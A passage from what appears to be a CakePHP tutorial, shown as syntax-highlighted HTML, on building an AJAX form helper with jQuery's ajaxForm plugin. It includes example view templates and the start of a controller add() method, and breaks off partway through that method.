<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#FF0000;">'form'</span> . <a href="http://www.php.net/intval"><span style="color:#000066;">intval</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/mt_rand"><span style="color:#000066;">mt_rand</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">ajaxForm</span> = <span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$url</span> = <span style="color:#FF0000;">"$('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">"').attr('action')+'?ajax=1&amp;flash_only=1"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span>@<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'response'</span><span style="color:#006600; font-weight:bold;">&#93;</span>==<span style="color:#FF0000;">'inline'</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$datatype</span> = <span style="color:#FF0000;">'text'</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$success</span> = <span style="color:#FF0000;">"$('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">"_status').hide().html(responseText).fadeIn();</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setTimeout(function(){</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">"_status').fadeOut();</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }, 5000);"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$url</span> .= <span style="color:#FF0000;">"&amp;js=false'"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">else</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$datatype</span> = <span style="color:#FF0000;">'script'</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$success</span> = <span style="color:#FF0000;">''</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$url</span> .= <span style="color:#FF0000;">"'"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF9933; font-style:italic;">// to-do: avoid multiple inclusion of this script</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$output</span> .= <span style="color:#FF0000;">"&lt;div id='"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">"_status' style='display:none;'&gt;&lt;/div&gt;"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$output</span> .= <span style="color:#FF0000;">"&lt;script src='"</span>.<span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">Html</span>-&gt;<span style="color:#006600;">url</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'/effects/js/jquery.form.js'</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#FF0000;">"'&gt;&lt;/script&gt;"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$output</span> .= <span style="color:#FF0000;">"&lt;script&gt;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; $(document).ready(function() { </span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp;&nbsp; &nbsp; &nbsp;$('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">"').ajaxForm({dataType: '"</span>.<span style="color:#0000FF;">$datatype</span>.<span style="color:#FF0000;">"', url:&nbsp; "</span>.<span style="color:#0000FF;">$url</span>.<span style="color:#FF0000;">", </span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;beforeSubmit: function(){</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">" .submit input').attr('disabled', true);</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('#progressIndicator').show();</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">" .form_progress').show();</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;},</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;success: function(responseText, statusText){</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">" .submit input').attr('disabled', false);</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('#progressIndicator').hide();</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $('#"</span>.<span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'id'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#FF0000;">" .form_progress').hide();</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "</span>.<span style="color:#0000FF;">$success</span>.<span style="color:#FF0000;">"</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;},</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp;&nbsp; &nbsp; &nbsp;}); </span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; }); </span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#FF0000;">&nbsp; &nbsp; &lt;/script&gt;"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#FF9933; font-style:italic;">// unset js options</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$output</span> .= parent::<span style="color:#006600;">create</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$model</span>, <span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">return</span> <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">output</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$output</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>I'm not that good in explaining code flow, but you might have noted 3 get variables appended to our form action URL above. These variables are: 'ajax','flash_only' ,'js' and serves their own purpose that  I'll tell in next steps.
</p>
<p>
 </p>
<p>2. Now we enable the AJAX in our form (CakePHP's $options array is so good that you can overwrite and modify almost many methods easily):
</p>
<p>This will show a JS alert after form has been submitted successfully.
</p>
<div class="igBar"><span id="lphp-10"><a href="#" onclick="javascript:showPlainTxt('php-10'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-10">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;div <span style="color:#000000; font-weight:bold;">class</span>=<span style="color:#FF0000;">"jerks form"</span>&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span> <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$ajaxForm</span>-&gt;<span style="color:#006600;">create</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Jerk'</span>, <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'ajax'</span>=&gt;<span style="color:#FF0000;">'true'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &lt;fieldset&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&lt;legend&gt;&lt;?php __<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Add Jerk'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;&lt;/legend&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">&lt;?php</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$ajaxForm</span> -&gt;<span style="color:#006600;">input</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'name'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">?&gt;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &lt;/fieldset&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span> <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$ajaxForm</span> -&gt;<span style="color:#006600;">end</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Submit'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;/div&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p> </p>
<p>This will show an inline message after form has been submitted successfully.
</p>
<div class="igBar"><span id="lphp-11"><a href="#" onclick="javascript:showPlainTxt('php-11'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-11">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;div <span style="color:#000000; font-weight:bold;">class</span>=<span style="color:#FF0000;">"jerks form"</span>&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span> <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$ajaxForm</span>-&gt;<span style="color:#006600;">create</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Jerk'</span>, <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'ajax'</span>=&gt;<span style="color:#FF0000;">'true'</span> , <span style="color:#FF0000;">'response'</span>=&gt;<span style="color:#FF0000;">'inline'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &lt;fieldset&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&lt;legend&gt;&lt;?php __<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Add Jerk'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;&lt;/legend&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">&lt;?php</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$ajaxForm</span> -&gt;<span style="color:#006600;">input</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'name'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">?&gt;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &lt;/fieldset&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span> <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$ajaxForm</span> -&gt;<span style="color:#006600;">end</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Submit'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;/div&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p> </p>
<p>Note that ajax=true parameter we sent in create() method. This will tell helper to load this form via AJAX.
</p>
<p>
 </p>
<p>3. Now your form will be AJAX ready (if you've included this AjaxFormHelper properly). But because our controller function was made to process normal POST function, and flash message on success – we'll have to change that behavior. This is what a normal JerksController::add() method should look like:
</p>
<div class="igBar"><span id="lphp-12"><a href="#" onclick="javascript:showPlainTxt('php-12'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-12">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">function</span> add<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/empty"><span style="color:#000066;">empty</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">data</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">Jerk</span>-&gt;<span style="color:#006600;">create</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">Jerk</span>-&gt;<span style="color:#006600;">save</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">data</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$this</span>-&gt;<span style="color:#006600;">Session</span>-&gt;<span style="color:#006600;">setFlash</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Jerk saved.'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span> <span style="color:#616100;">else</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
